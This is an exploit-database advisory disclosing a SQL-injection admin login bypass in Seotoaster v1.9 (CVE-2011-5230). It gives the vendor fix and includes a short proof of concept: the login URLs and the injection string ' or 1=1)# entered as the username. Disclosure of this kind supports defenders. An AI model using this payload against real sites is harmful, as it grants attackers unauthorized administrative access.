Seotoaster SQL Injection Admin Login Bypass



EDB-ID: 18246 CVE: 2011-5230 OSVDB-ID: 77736
Author: Stefan Schurtz Published: 2011-12-16 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
#################################################################################
# Advisory:		Seotoaster SQL-Injection Admin Login Bypass
# Author:       		Stefan Schurtz
# Contact:      		sschurtz@t-online.de
# Affected Software:    	Successfully tested on Seotoaster v.1.9
# Vendor URL:       	http://www.seotoaster.com/
# Vendor Status:    	fixed
#################################################################################

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go
or
http://<target>/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

========
Credits
========

Vulnerabilitiy found and advisory written by Stefan Schurtz

===========
References
===========

http://secunia.com/advisories/46881/